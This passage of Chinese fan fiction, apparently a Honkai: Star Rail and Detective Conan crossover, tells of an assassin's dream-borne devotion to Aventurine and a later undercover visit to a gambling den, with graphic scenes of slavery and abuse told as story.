“那说说你和那家伙的具体情况吧,”砂金铲出一张饼,继续摊下一张,同时问道,“你们怎么就结仇了呢?” 和组织那边有了“交易”,八木海那也有资料,但这种纠纷还是问当事人最为可靠, 而就砂金目前来看,236虽然脑回路有点问题、但也是个听话乖巧的好狗狗,不像是会反咬主人的那种,所以236的目的就有些耐人寻味了。 “ Chiunque può idere per qualsiasi motivo……” 236突然用陌生的语言说道,“Ma lefficienza di quelle persone non è mai stata così altae le armi,” 不过因为联觉信标,砂金依旧听得懂, [任何人都能因任何理由而杀人……] [但这些人的效率永远没有冷冰冰的枪械高,] “Perché la missione delle armi da fuoco è idere,Non cè bisogno di emozioni.” [因为枪支的使命就是杀人,而不需要感情。 ] 236继续说道,“Una volta ero la loro pistola più soddisfatta.” [我曾经是他们最满意的枪。 ] 砂金:“后来?” “ Ho dei difetti ……” [我有了瑕疵……] 236顿了顿,最后还是完完整整地坦白道,“per colpa tua.” [因为您。 ] 翻锅的铲子停了停,砂金垂了垂眼道,“你那天对我说了谎。” 236不是在鱼缸里发现的基石碎片……至少现在基石碎片不会在鱼缸里,那天236说的话可以确定就是乱编的了, 236说谎的本事不怎么样。 “是的,”236承认,“十分抱歉,我欺骗了您。” 不止是有关基石的部分,连236那天为什么会那么巧合地出现在砂金住处也是谎言, 236在那间聊天室看见砂金照片的第一眼就认出了对方,所以他追了照片中人的更多信息、疑惑于“砂金”这个不像真名的名字, 砂金住所地址暴露的第一天, 236就举家搬去了附近,怕被砂金发现、 236的安全屋离得不算很近,面对着砂金这边的窗户帘子后面还架着幅用来观察对方的望远镜, 那段时间暗中监视砂金的人有很多,236混在其中倒也不显得突兀,因此砂金也便没发现236。 “您有任何惩罚,我都甘愿接受。” 这么果断直接的道歉……也很像特里纳,砂金有几丝恍神,“那么现在碎片在哪里。” 他不在意什么惩罚,他只想知道基石现在在哪。 “在我另一处的安全屋保险箱里,请放心、那里非常的安全。” “我猜你现在不会把它还给我,”砂金继续动作,漫不经心的问道,“你看到了什么?” “我看到了……”236也有些恍神,仿佛回忆起了过去的记忆,“Educate i miei dei.” 教化我的神明。 …… 又是……神明, 听到236回答的砂金轻笑了声,果然不是他的错觉,236和特里纳、乃至特里纳的母亲和女儿……都是一样的。 “我真搞不明白你们这种人心里到底是怎么想的,”砂金将做好的食物盛入盘中,转身去拿碗筷,“你应该只是做了几个梦吧?” “我很确定,我们之前是毫无瓜葛的陌生人,所以为什么呢?” 为什么会因为他的随口一说, 为什么会因为他的顺手一为, 为什么会因为共鸣之下的几场虚幻的梦境, 放着真正存在的星神不问,反而将他这个从未相识、身份难堪的陌生人奉作神明? 这太不合理了,砂金想, 这不应该。 第74章 Quando ero giovane, una volta ho incontrato qualcuno nel mio sogno. 我在年少时,曾在梦中遇见过一个人。 —— 那是许多年前的时候,现实中的黑手党并不像一些影视作品中拍得那样有血有肉、义气豪天, 利益至上永远是最高的准则, 如何高效的杀人、排除异己成了许多人研究一生的课题, 从世界各地买回去的幼童成了研究耗材, 236曾经就是其中的一员。 不需要接受普通人的教育,能认识字、会说话、听得懂命令就足够了;不需要玩具娱乐,知道该怎么拉栓上膛就行;不需要感情,因为那样刀会变钝, 236是被人用鞭子棍棒培养成的职业杀手。 在一次外出任务时,年少的236一时失手和有着恋/童/癖的目标扭打成了一团,目标的枪口已经对准了236……不过很可惜,对方卡壳了。 236抓住机会反手扯住目标的头发带着将人撞向身侧的鱼缸…… 玻璃一下炸开,碎片划伤了236外露的皮肤,造景石掉了一地,鱼缸里的水扑面浇透了236半个身子,目标昏死过去,结局已经不必再说, 而刚刚和死亡擦肩而过的236摊坐在一片狼藉中,直勾勾地看着还在地板上乱跳挣扎着的几尾鱼、愣神了许久。 236不是第一次直面死亡,但这次真的很幸运, 也很…… 他没接受过什么正经教育, 236大脑空空地不知道他在想什么,或者应该想些什么,其实大概是什么也没想、只是打了累想休息一下吧? 久久没消息的236引来了搭档探查, “艹, ”负责放风的男人踢了236一脚,“人都死了怎么不说话?! TMD……老子还以为任务失败了……” “对不起,”236呆呆地回答,“我忘了。” “白痴!”男人气不过,见236一直盯着地上的鱼看,干脆掏枪一枚子弹将鱼脑袋崩了个大洞,“看什么看!你这种东西还想养宠物吗?!” “没有想养……” “ MD ,和你们这种没脑子的杀手合作就是费事,婊子养的……”男人满嘴辱骂着236开始收拾残局,处理现场。 236偏头又看了看不再跳动、没了生机,原本颜色其实很漂亮的观赏鱼, 他们这种东西不被允许养宠物,也不能有自己的喜好,他同期的一位杀手偷偷在地下的笼子里养过一只老鼠,然后那个杀手和他的宠物都死了, 宠物老鼠被教官当面踩死,那个杀手则当着他们所有人的面被丢到了装着好多好多饿了许久的老鼠的铁桶里,惨叫声延绵了很久, 杀手刚被拖出来的时候还在喘气,血肉模糊的喘着,再后来就烂掉了。 所以236没想过养宠物,因为养宠物就会被宠物吃掉……被鱼吃掉的感觉应该也不大好。 但鬼使神差的,236摸起了手边的一小块造景石碎片——很小,只有半个指甲盖大小的程度——塞进了伤口里藏起来, 石头不会吃人,他没想养宠物,只是想……他不知道自己在想什么,总之236瞒过了搜身,成功地将小石头偷渡到了自己睡觉的小笼子里, 那天晚上,236做了人生中的第一个梦。 …… 梦里的他也还住在笼子里,只是身上好像更痛了,被有意训练出来的薄薄的肌肉也没了,胳膊和腿上瘦得有些脱相, 236稍显疑惑的看着搭在肩膀上、长长了但脏脏乱乱的暗金色头发,有点不懂自己为什么换了个发色,他是亚裔、是黑发来着。 还没想明白头发的问题, 236发现自己的身体突然不受自己控制了,伤痕累累、铐着铁制手铐的手抬起,指节上的伤口深可见骨、指甲外翻欲掉不掉地连着块皮肉, “自己”咬了咬牙,狠下心咬掉烂了的指甲,撕了块身上的破布裹住血涌的手掌,又慢慢地挪到了笼子跟前, 关着他的笼子是木制的土笼,木棍插在地上围了一圈, 236的余光能看见零零散散倒在一边的其他人、无不狼狈不堪,而“自己”正用着颤抖不止的手挖动着木棍下方的沙土, 从伤口渗出的血浸透了破布,染红了沙子,但“自己”仍在继续…… 为什么要挖它呢? 不绝的疼痛让236的困惑越来越大,很痛的,不挖就不会痛了。 236想停止,但身体依旧有他自己的想法,沙坑越来越红、坑也越来越大……“自己”用上全身的力气撞了撞那根木棍,棍子竟然被“自己”晃动了! 像是看到了希望、又像是怕被人发现,“自己”的动作同样越来越快, 继续挖, 用力撞…… 吱吱呀呀,破旧染着污物的木杆还真的在“自己”的努力下慢慢被撞歪。两根木杆之间的距离越来越大, “……别忙活了,” 角落突然有细弱的声音传来,“自己”好像没有听见,可236听到见了,不是他学习的语言、但236莫名其妙的知道其中的意思, “只有你这种才被抓来不久的小孩子还想着跑了,但是……跑不掉的。” 原来“自己”是想跑啊? 236终于反应过来了,以前同期的小孩子里也有哭闹着要爸爸妈妈、要回家、要走的,不过最后那些人都不会再说话了, 不能逃跑,跑了会死的。 236想劝告“自己”,“自己”不听,依旧在挖着挖着……终于,那道缝隙足够他瘦小的身体勉强挤出去了, 236不受控制地跟着身体跑着。 笼子外的空气很热、太阳很大,还始终飘荡着一股血腥味…… 236有些害怕,他想回到安全的笼子里,但身体却朝着相反的方向竭力奔跑着。 “有奴隶跑了!抓住他——!” 果然,“自己”还没跑出去多远,就被人发现了,236抖了抖,之后会挨打的、说不定还会死,尸体会被吊在笼子前面给其他人看看逃跑的下场, 不要跑,难道不好吗? …… 最后,“自己”还是被抓住了。 带着沉重的镣铐没跑出多远就被抓回来了,“自己”蜷缩着身体挨了一顿毒打,被拖着扔回了笼子里,松动的木棍也被再次打牢、钉得更死了。 跟着挨了打的236松了口气,“自己”不能再逃跑了就好,这样就不会再被打了, 结果, “自己”呸了一口带血的唾沫,微弱起伏着的胸膛剧烈颤抖了一下,似乎在闷笑……笑完了,“自己”又悄悄地确认了一下藏在怀里的东西, 跟着视角的变动看下去, 236一瞬间有些窒息, “自己”手心里,赫然藏着一小串钥匙! 他知道自己跑不了多远,枷锁牢铐狠狠的拖了他的后腿,所以他一开始就没打算真的能跑掉, 而在刚刚,就在刚刚反抗挨打的时候,他偷偷将领头人身上的钥匙偷走了! 他怎么能这么大胆…… 236分不清呼吸上的困难是因为“自己”身上的伤势,还是因为情绪上的后怕,“自己”就不怕激怒主人、直接被打死吗? 他怎么敢假装逃跑而去偷钥匙? ! 更让236害怕的是,“自己”没有放弃逃跑的念头,拿到钥匙的“自己”一定还会跑…… 这次没死,那下次呢? 236被吓醒了,缩在笼子里不停的发抖,冷汗不停的冒着,汗水浸到了伤口里、疼痛才唤回236的神志, 真的,太可怕了。 第75章 在236还没有搞明白“梦”是什么东西的时候,他先一步认识到了梦里那个人的“可怕”, 236不理解“自己”为什么要逃跑。 从小的洗脑一直在告诉236,逃跑是不会有好下场的。 所以不能逃跑, 但236现在还不知道自己的那些奇怪“记忆”、和他偷藏下来的那块小石头有关,所以236还是留着它这个难得“玩具” , 梦也继续做着。 …… 第二天的夜晚, 236又回到了那个陌生的土笼里, 外面的天黑了, 从笼子往外看,一切都是黑糊糊的, 还要跑吗? 那当然。 趁着那些剥皮刀还没反应过来钥匙失窃,此时的深夜是最佳的逃跑时机! 拖着受伤严重的身体爬起来,还好白天“自己”有意护了一下,脚没断、还能动, “自己”晃晃不稳地用钥匙……把包括自己在内的所有奴隶的锁铐一一打开。 这是个环境极为恶劣、资源极为贫缺、科技水平极为低下的“三极”星球, 有锁……锁也复杂不到哪里去,一两把钥匙足够把所有人的枷锁都解开了。 “你这是……” 虚弱的声音让236想起了半天那个和“自己”搭话的人, 劝劝“自己”吧!别逃了…… “增加逃跑成功的几率,” 236终于听到“自己”的声音了,并不像自己的声音,而且沙哑的不成样子。 “想跑就跑吧……” 236听着那道声音说,“跑了有可能会死,但越多人逃跑今晚就会越乱…越乱就越有自由的可能……你们自己来做决定……” 自由? 236反问自己,那是什么? 他不知道, 但“自己”好像说动了一部分人, 笼子里开始有人爬了起来,紧锁的笼门被“自己”打开, 然后“自己”去了下一个笼子那,重复同样的事、说同样的话, 有人被说动,有人依旧麻木……最后决定逃跑、孤注一掷的人数不多、也不算少,“自己”深呼了口气,把平时被带去采矿做苦力时偷偷藏起来的零碎火石分给了众人, “动作小心一点,发现有帐篷就点火,点完火就跑,身上不要留火种、摸黑往没有光亮的地方跑……不然火光容易暴露自己,最后没有起火的地方就是他们防备最松的位置,” 他叮嘱完,又道,“祝大家……” “好运。” 运气好,就能逃出去、获得自由和新生;运气不好,被抓住了恐怕就会被当场打死。 可总有人愿意为自由搏上性命, 236只见漆黑的夜晚下,一处接一处的火光亮起,空气中都更多了几丝燥热,怒骂和争吵声也随之响起,吵得令人心烦意乱, “自己”颤着手也点着了就近的帐篷,随后拼命跑远,越来越多的卡提卡人发现了起火,一部分人被迫急于救火,一部分人开始追赶逃跑放火的奴隶。 一时火光冲天,趁着大部分卡提卡人赶去救火,没着火的地方危险性下降了不少……但也只是下降而已, 运气不好的向一片黑暗中跑去时,恰巧就和救火的奴隶主撞了个正着,以凶残闻名的卡提卡人被激怒地甩起利斧……人头滚落在地。 别跑了,逃跑是不对的…… 236在“自己”逃跑的途中就不只一次地见到了被劈飞而起的残肢断臂,惨叫声刺耳、血花四溅,可“自己”仍没停下脚步…… 跑了会死的…… 236不是没见过死人,也不是没杀过人,但眼前这如此野蛮血腥的一幕、依旧令他感觉到生理上的反胃, 可是现在不跑…好像也会死…… 236就看着“自己”一次又一次、险而又险地躲开巨斧和魔爪, 别跑…… 不对,要跑…… 在236同样一次又一次因近在咫尺的死亡而紧缩的心脏中、不知不觉地产生了惊恐之下的最自然的反射心理——逃避, 跑了会死的…… 被抓住了也会死…… 长期的洗脑让236的身体对“逃跑”有着一种条件反射性的畏惧感,但本能的求生反应又在催促着他逃避,冲突之下强烈的呕吐冲动越来越强,大脑越来越混乱…… 所以应该怎么做才能 活着? …… “自己”可顾及不到236快要将自己撕成了两半的感觉。 好运仿佛在庇佑着他, 跌跌撞撞,躲躲藏藏……好几次差点就撞上了死亡,但“自己”最后还是逃出来了,火光和惨叫都被他远远的丢在了身后,黑暗成了最安全的保护色, “轰——!!!” 下一刻,凭空炸响的一声轰鸣震耳欲聋……不,是真的失聪了,巨响造成了“自己”的暂时性失听,原本紧张急迫的世界一下安静了, 安静的可怕。 被爆炸波推飞出去了好久, 236浑浑噩噩地跟着“自己”爬起身,回头向那处奴隶主驻扎的营地看去…… 一切都消失了, “自己”瘫坐在地上,不远处是界限分明的一片平地——驻地,帐篷,火焰,尸体,还是别的什么……统统不见了,连同一处小丘陵也被生生抹平, 那没有选择逃跑的奴隶们和那些野蛮的剥皮刀呢? 只在眨眼间,所有的生命也连同地型的改变一同化成飞灰。 发生了什么? 236和“自己”同时想到,然后就见漆黑的天上落下了一艘会飞的船,聚光灯下出现了“自己”曾见过的黑衣人,那些黑衣人看了看现场、好像交流了什么又走了。 那些人没发现“自己”,又或者发现了、但并不在意狼狈如他的这种奴隶。 黑衣人们的到来是轻飘飘的,但仿佛巨人挥了挥手、跺了跺脚一般,地面上的蝼蚁任其摆布, 在天上的黑衣人看来,卡提卡奴隶主们的凶残暴行和奴隶们的血腥求生……恐怕都只是一场无趣无聊又落后的闹戏吧? 黑衣人们轻而易举地就能将一切全都掀翻。 在一片寂静无声的世界里,236仿佛听到了那断断续续的原因…… [星□□平播报快□:公□□□开□部发言□□实无□星□□□尼亚爆发小规模叛乱,目□局势已得□有效控□——] [叛乱分□□自当地□□□为『卡提卡』的氏□……] [该氏□□处于公□□护下的『埃维金』氏族发起大规□袭□……发□□对□□『深重的人道□□灾难』表□□深切□悼……] [现公□□定追究□提卡□□的罪□与恶□、派出□□队伍进□武装镇压、平息□乱……] [存护的巨锤必将为所有生命落下! ] 第76章 存护的巨锤必将为所有生命落下……? 这是在开玩笑吗? 绝对是吧, 不然一篇轻飘飘的发言稿,怎么能负担得起他最后的亲人的性命,怎么能让3452名族人不明不白地消失在世间,怎么能一字一句中都流淌着他死去的那6728名族人的鲜血…… 自内心而发的彻骨的绝望与悲怆,凛冽得让236发颤…… 236没有亲人朋友、他不懂这一刻的感受, 灵魂好像被排斥着驱逐出了身体, 236垂下头看见了“自己” , 这时, 236才认出自己不是“自己”,难怪他的头发变了颜色,还敢做出那么多让236感到害怕的举动。 耳朵听不到声音, 但236听到了来自灵魂的情绪…… …… 姐姐, 他们确实有能力结束埃维金和卡提卡缠绵了数个琥珀纪的血仇,像你说的那样、卡提卡人在他们面前毫无胜算, 只是眨眼的功夫, 那些剥皮刀就全部消失了…… 可为什么会是现在呢? 为什么到现在,巨锤才迟迟落下? 瘦得过分的身躯被夷为了平地的沙土地称得更加渺小,躬着的脊背上骨节分明,缠着染血布条的双手捂着脸、垂着头,不知在向谁问着无人作答的问题…… 明明对那些黑衣人而言,杀人是件很轻松的事……只要像今天这样把船开过来,然后轰一声, 噩梦也就消失了。 可那天晚上他们去了哪里? 卡提卡屠杀族人们的那天晚上,他们在哪里? 哪怕是像今天这样把我们连同那些剥皮刀一起杀了也好啊,姐姐和族人们……包括我自己, 我们都做好了和敌人同归于尽的准备, 可是他们为什么没有如约而来? 黑衣人不是说会站在我们这一边的吗, 下雨的那夜他们又站在了哪里? 为什么要欺骗我们? 如果姐姐你所说的“诡计”原本就是打算用全族人的性命、去拖那些剥皮刀下他们本就该下的地狱;如果姐姐你说的那场雨真的是母神的恩赐与好运、是母神指引我们复仇的意愿…… 那么母神啊,我们究竟做错了什么,让您于那特殊的一夜降下一场大雨、就只是为了让我们去送死?难道死亡也是您对我们的恩赐? 没有那场雨,卡提卡人就不会打算趁我们庆祝母神恩赐之时劫掠我们,我们也不会因此被迫反抗;没有黑衣人的欺骗,我们更不会如此孤注一掷、押上一切,结果却是满盘皆输…… 如果巨锤是为了所有的生命而落下,那我为什么还是在失去? 为什么在我已经失去了一切后,为什么在我不再需要黑衣人们的时候,他们才姗姗来迟、惺惺作态的来到我的面前? 这个笑话…哈、可真是好笑…… …… 大把大把的泪珠从脸庞滚落,干裂起皮、渗着血丝的嘴唇张开,大口大口地呼吸着,胸膛不停地喘息颤抖, 亲眼目睹黑衣人们轻而易举地便镇压卡提卡营地的一幕,引爆了沉积在他心中的情绪, 他需要发泄, 撕心裂肺、歇斯底里的哭喊、或者是疯癫无意义的嘲笑,怎么样都行,他需要把快要压垮他了的那些念头宣泄出去, 他也的确那样做了,但是…… 耳边依旧是一片死寂,被抽离的236最后一眼,只看到和自己好像差不多大的金发孩子嘴巴张张合合,失聪的影响下, 他甚至不知道此时的自己到底是在哭、还是在笑。 …… 双眼猛的睁开,平时没怎么用过的大脑终于快速运转了一次, 236第一时间从血肉里扣出那枚小小的石头藏在枕下后, 随后马上翻身下床, “呕——!” 胃部剧烈翻涌、胃酸倒流, 236终于吐了出来,未消化的食物残渣混和着胃液呛得236冒出了眼泪,污物把不大的牢笼弄得一片狼藉, 但反胃感并没有因此而减轻, 236不停地抽搐着,吐到最后无物可吐、只能徒劳地反着酸水…… “该死!又出什么事了?!” 236反常的动静没过多久就引起了教官的注意, 236被拽着头发扯出了笼子,“狗崽子送到医生那里去,都养到现在了再死掉可回不了本……” “啧!恶心、找人过来打扫一下!” …… 等236再回到自己的笼子里,已经是一个礼拜之后的事了,期间身体检查无事的236又外出执行了一次任务。 回来后的第一时间, 236立刻伸手到粘染着发了黑的血渍的枕头底下,去摸那块怕被医生发现而被他藏在了别处的小石头…… 外出的这个礼拜, 236没再做那种奇怪的梦……迟顿如他, 236也隐约意识到了什么——那些令他不适的记忆,都来自那块小小的石头。 还好,打扫的人只是不耐烦地清理了地上的污秽,没有人动他那简陋的床铺,236把石头又攥在了手心里。 他应该在下次外出时,找机会把它丢掉,他本来就不应该冒险把它带回来, 丢了就不用再经历那些难受的事情,不用再想“自由”是什么东西,不用提心吊胆地害怕哪一天被教官发现、被教官处罚…… 但, 那道不知是在哭还是在笑的身影浮现在了脑海中,236简单的生命中极少感受到如此复杂的情绪, 人在遇见未知之物时,一向是两种选择,一是害怕远离,二是…… 心生好奇。 而且,如何选择才能活下去的答案已经给出——梦中的那人告诉236,只有及时逃跑才有生路,不然只会变成飞灰中的一员。 这和236之前养成的观念完完全全的矛盾了,他恍惚不解,一直支撑着他整个世界的支柱断了一根, 但236无法向他人倾诉自己的困惑,他只能带着求生本能的迷茫、握紧小石头再次进入梦境。 …… 扑面而来的是来自荒漠的空气, 236又看到了那双布遍斑驳伤口的手,双手的主人在将一条小了很多的旧衣服和一枚金光闪闪的圆型饰品裹在他叫不出名字的植物丛里, 那种植物有些像仙人掌,布通尖刺,但每根尖刺上都开着颜色艳美的花朵。 236发现手掌上被不小心刺伤的地方,都开始泛紫发黑,附近的沙土都在隐隐流动…… 那些刺、或者是花粉里有毒,植物们又生长在危险的地方,所以一般人不会靠近花丛,这是很好的藏东西的地方。 然后,身体终于安下心来地起身离开。 离开去哪? 236看见“自己”的脚下又被铐上了锁链,在这片土地上,没有庇护的孩子是一切恶意最喜欢的食粮,逃出一处魔窟、还有更多伸向他的魔爪, “他”能重复的命运不过就是逃跑,被抓,再逃跑,再被抓罢了…… 如此这般的痛苦,236问道,却还是要选择挣扎吗? “他”给出答案, 是的。 …… 不知不觉中,236开始习惯到梦中去寻找那个他看不懂的人,对方的身上有时会多些锁链,有时多几道伤口,有时在逃跑的途中,有时又被抓住关在笼中。 连被抓都分出好几种情况,有故意而为之的,“他”有意撞到一些举着斧子的人手上,然后在营地里大闹一场,引来天上的黑衣人们的炮弹、借刀杀人; 也有单纯的意外,看似好心的老人,送来的牛奶面包却中掺着迷药…… 脖颈上被烙下耻辱的印记,在迷宫里赤手搏出一条生路,35的编号永远取代不了名为卡卡瓦夏的真名, 面对高高在上的智者、一无所有如他这般依旧敢于吐露出没有赢家的谎言,戏耍那些可以轻易碾碎他的存在, 饥饿、疼痛、欺骗、绝境……但不管是什么情况,“他”给出的永远都是同一个回答——要跑,要反抗, 誓要将不公的命运与性命通通押上赌盘! …… 同为奴隶,“他”身上好像有着别人没有的东西,“他”永远无法和那些麻木死寂、唯留下躯壳的奴隶们混为一谈, 236想问,为什么呢? 是恨吗? 埃维金人有仇必报。 但当最后一处卡提卡人的营地也消失在他的诡计之下后,“他”仍没放弃逃跑与反抗。 是在求生吗? 但“他”的有些行为与其说是求生,不如说是在搏命求死,不断地与死亡擦肩而过,然后笑着自己的“幸运”, 那是在求死吗? 但“他”确确实实地活了下来…… 那是为了自由? 曾听“他”提起过的一个陌生的词汇在236心底扎下了根,终于在一次出任务时、 236忍不住偷偷用死去的目标手机搜索到 ——“自由”是什么? “自由”是一种政治哲学概念;是人类的最宝贵的财富;是不受限制和阻碍的人身自由;是源自自身意志的支配;是飞在天空中的鸟;是雨后闻到的第一缕花香…… 答案五花八门,但236始终认为、最权威的答案还在梦里。 自那出格的行为之后,曾经空空荡荡的脑袋里多了一些东西,麻木开始一点点消失,236知道到了一些他本该一生都不会接触到的“真理”,生命里开始出现别的色彩, 236想起了那天盯着鱼儿时,他在想的是什么……鱼跃出了囚禁它的鱼缸、等待它的只有死亡,那他呢? 死后的灵魂, 也会归于自由的大海吗? 小小的种子开始疯狂地生根发芽,根系爬遍了灵魂的上上下下、渴望着获取未来希望的滋养, 236在“他”身上看到了另一种生活的可能, 奴隶不一定注定要烂在泥里,他们依旧可以爬起来,哪怕拼上了命、他们也依旧可以选择向上爬,用力咬下上位者的一块血肉, 而这一切的改变都源由梦境中的那个人, 不、不对, 神明以身教化世人,予以凡人全新的生命;神明不曾怜悯施恩,却令凡人重获新生与未来;神明自苦难中而生,仍未尝臣服于痛苦的命运;神明不曾施以任何的神迹,可其存在本身就是最大的奇迹…… Quando ero giovane, ho incontrato un dio nella mia vita. 在年少时, 我曾在生命之中、觐见神明。 …… “所以为什么呢?” 砂金不解236和特里纳这种人的信仰来自哪里,他明明什么都没有做、不是吗? 因神明的“教导”而学会站起的膝盖、向着神明虔诚地跪下, 236捧起来到他面前的神明的手,再次于手背上落下宣誓效忠的吻, “不需要原因,老师……” 不需要为他提供什么实质性的帮助,不需要对他垂目怜悯,不需要与他相识相知,不需要一丝的疑惑与怀疑, 236回答着砂金的疑问,“您的存在,于我这种人而言便是救赎。” 那是源自灵魂层面的救赎…… 有人终其一生,不曾寻到信仰, 有人只需一梦,便认定了未来。 236此生仅信奉一位神明, 这位神明名为, 卡卡瓦夏。 第77章 现在,换成砂金怎么想都想不明白了,哪儿都不明白。 236很认真地道,“您不必妄自菲薄,您值得我这般拥趸。” 将手抽回,砂金没再继续这个话题,端着盛好了食物的拖盘转身就走,再聊下去、他会怀疑236是不是在梦里被他神不知鬼不觉的洗脑了的。 “老师!” 236着急地叫了一声,桌子上还剩下一份鸡蛋薄饼, “这个需要我为你端……” “你留着吃吧,”砂金头都没回, “然后把锅碗清洗干净,我可不想和蟑螂那种生物共处一室……它们会咬坏我刚买的楠木筷子的。” 236:“好的, 老师……” 神明的脚步声渐远,仍跪在地上的236愣神了一会儿, 突然……笑了起来, 笑得很大声、笑得脸颊都红了起来,让人很难想到平时摊着一张脸的236 、原来也会有表情这么丰富的一天, 从训练营叛逃的那天,他都没有如此畅快的笑过! “果然是您啊,” 236捂着情绪过大而有些发热的脸,他一直在等砂金回来等到深夜,确实也该饿了, “哈哈哈,还是这么的温柔……” 如此神明,叫他怎么能不拥趸? …… 【还是心软了啊, 赌徒。 】 调笑着的「砂金」抱胸靠在卧室门口,在楼上都听得236隐隐的笑声。 “不然还能怎么办, ”砂金一边咬着夜宵,一边无奈地道,“我这都成神了,难道还要和那家伙斤斤计较?” 【这次不嘴硬说是做多了、吃不掉了? 】 “……你真的超烦人哎?”砂金撇撇嘴,“卡卡瓦夏呢?先睡了?” 【别转移话题……他确实已经睡了,但这和我们的聊天无关。 】 砂金吐出口气,嚼嚼嚼,“又准备冒充一下混沌医师开始医病,还是想模仿一下拉帝奥教授继续给我上课讲大道理?” 【瞅你这话说得,】「砂金」很不优雅的翻了个白眼,【你以为我很喜欢给你进行心理治疗和情绪开导吗? 】 【你的内心简直比刺刺花还要难以令人接近,而且十分的固执己见。 】 刺刺花的学名……不知道,砂金又没上过学,反正在砂金的老家、人们都管这种植物叫刺刺花。 那是一种生长在茨冈尼亚流沙区一带的、很常见的本土植物,全株包括花粉都带着毒、不可食用,且附近常伴生剧毒的蝎虫,砂金就是靠它才在颠沛流离的日子里得以保全父母最后的遗物, 运气稍差一点的人,在接近到刺刺花之前,就会先一步死于非命。 但就像前面说过的那样,刺刺花有毒、又不能吃,还生长在危险的地方,一般人也不会闲着没事做去接近刺刺花。 砂金也是一样, 花朵长得艳丽好看,个性带刺,还喜欢流连在各种危险的场合,和毒虫蛇蝎为伴……同理,也显少有人喜欢接近这样像刺刺花的砂金。 所以,每当有人愿意冒着危险接近他时……支着各种尖刺的砂金也忍不住柔和下来一点, 当然,只有一点点而已,砂金的固执也不是摆设,从他从不承认自己对下属们的维护一事就可见一斑…… 战略投资部流传过这样一个未解之谜——最喜好高风险高危投资的那位石心十人高管,其部下数量最少、转职离职率名列前茅,但殉职损耗率竟然在整个部门只能排得上倒数, 而谁也分不清那位嘴巴里好像全是真话、又全是谎言的总监是真的不在意到不屑于使用员工们的生命,还是在口是心非地践行存护之道。 “反正,我是没见过奥斯瓦尔多会好心到陪同遇难员工家属、在庇尔波因特散步谈心。” ——以上吐槽来自不愿透露姓名、又意外撞见砂金如此行事的某位总监。 对此,砂金自有他的一套歪理和狡辩,“只是利益不够大而已……如果假惺惺的装模作样一下,就能拿下七人董事会的赞同票,” “那我相信奥斯瓦尔多会在庇尔波因特、为每一位逝世职员都举办一场格外盛大且隆重的追悼会,不是吗?” 可你又因此得到了什么利益?某位总监切了一声,懒得和连标点符号都透着一股自欺欺人气息的别扭倔脾气争辩。 “那孩子这样也很可爱呢。” ——又一位不愿透露姓名的总监在听到两位的争吵后,笑眯眯地如此评价。 …… 至于现在, 倒也不是怜悯,有几个人能可怜得过他、而他又真有那个资格去怜悯别人的呢? 看在那个吻的面子上,砂金只是想……如果哪一天,236也像特里纳一样死在某个他看不见的角落里, 至少那时, 236死前不会还在想着“为什么他一直不理他”,然后抱憾而终。 【比以前坦白多了,算是有所进步,】「砂金」夸张地为砂金鼓了鼓掌,【给你加五分,不要骄傲、下次继续努力。 】 砂金:“……” 餐具盘子往桌子上一放,垫完肚子的砂金擦擦唇角手指,一掀被子往床上一躺——开始睡觉! 【? 】 看着这一幕的「砂金」头顶上冒出来一个问号,【现在被冷暴力的人轮到我了,是吗? 】 这是哪里来的三岁小孩? 「砂金」很想继续吐槽,卡卡瓦夏现在都比砂金表现的成熟, 至少卡卡瓦夏睡觉不会用被子枕头捂着耳朵。 砂金:……不听不听,同谐念经。 —————————— 另一边,在伊达航、萩原研二以及松田阵平三人连续几日的不懈努力之下,终于找到了有关埃多阿尔多.鲁索的更紧密的线索 ——他们找到了埃多阿尔多.鲁索最常去的那家赌场。 为了调查一桩没有受害人死亡的陈年旧案、抓捕一个小小的逃犯,而选择直接和一位有名的黑手党头目对上……这确实有些疯狂和不靠谱, 但疯狂的事,他们几个在还是警校生的时候就没少做,所以意外的合理了,三个人都没觉得自己有什么不妥之处。 “你们去吧,记得时刻保持联络。” 人高马大、又是搜查一科经常露面的警察,怕被人认出来的伊达航只能止步在赌场外,对着配带好隐形耳麦的幼驯染两人叮嘱着。 “ ok ,”萩原研二比了个手势、表示一切放心好了,“不用这么紧张,也不一定能碰上目标呢。” 埃多阿尔多.鲁索只是经常来这里,又不是天天来,萩原研二没抱希望第一次尝试就能撞到对方, 先探探环境也好。 第78章 感谢于砂金曾经的好心带玩吧, 萩原研二和松田阵平两个人面对某些场合的适应性更好了,混进赌场的行动一切…… 并不顺利。 不同性质和主家的赌场规矩并不完全一样,至少埃多阿尔多.鲁索喜欢的这家赌场可没有吉野浩太郎管理的那家合规有序,而混乱反而代表着不易混入, 所以上次好歹是能进了内场凑个热闹, 这次更有经验了的两位拆弹手却被拦在了楼梯旁——楼上才是道上人口中的“内场”。 “我还不能上去看看了吗?” 穿着名牌花衬衫、一身富发户愣头青打扮的萩原研二撇了下嘴,扯了扯脖子上老粗的一条金项链, “我有钱,玩得起!” 这次萩原研二和松田阵平的人设很保守,是“好奇心爆发的二世祖富少爷”和“冷酷无情的保镖大哥”…… 虽然这种人设没什么威慑力,但恰好可以掩饰两人对赌场生疏感, 也更加安全、不容易暴露——此伪装方案最终以伊达航一比二、多数服从少数的绝对优势拍板订案。 嗯, 伊达航的加入也是有点好处,多少能给不会踩刹车的两个笨蛋兜下命。 “啧, ”花臂光膀子的看守呸了一声,用下巴指了指外面一堆一堆、拥在一起吵闹着的赌鬼们,“菜鸡,外面那些够你玩的了!” ……这家赌场的服务态度真的没有吉野浩太郎家的好,萩原研二发出感叹,这种行业的差距原来这么大的吗? 正当萩原研二想着该怎么混上楼之时,一副冷面酷哥作派的松田阵平突然伸手轻轻扯了一下萩原研二的衣角。 萩原研二顺着松田阵平的示意往一边看去……顿时有点沉默, 浮夸的耳坠手饰,花里胡哨的衣服,精致到每根头发丝仿佛都做了设计的发型,还有那张不管是什么造型都压不下去的漂亮脸蛋,亮闪闪的像个发光体,一看就超有钱的青年哼着调子走进了赌场, 其身后还跟着一位戴着墨镜、存在感不高的沉默保镖。 这个组合……撞人设了,萩原研二低头看了看身上的牌子货,而且好像还没比过对方——萩原研二也不算穷,只是他更喜欢把用钱花在买各种模型上。 [班长,]萩原研二很震惊,插在兜里的手给伊达航发去信息,[富养孩子也不用养到这种地步吧? ] 那位张扬亮眼的青年,很明显就是砂金啊! 伊达航:……他能说他没来得及养,现在反而是砂金在富养他和娜塔莉吗? 隔三差五送到家里的各种奢饰品、已经快把地下室的仓库堆满了,娜塔莉一想拒绝、砂金就会发些哭哭撒娇的照片和表情包哄得娜塔莉拒绝不了。 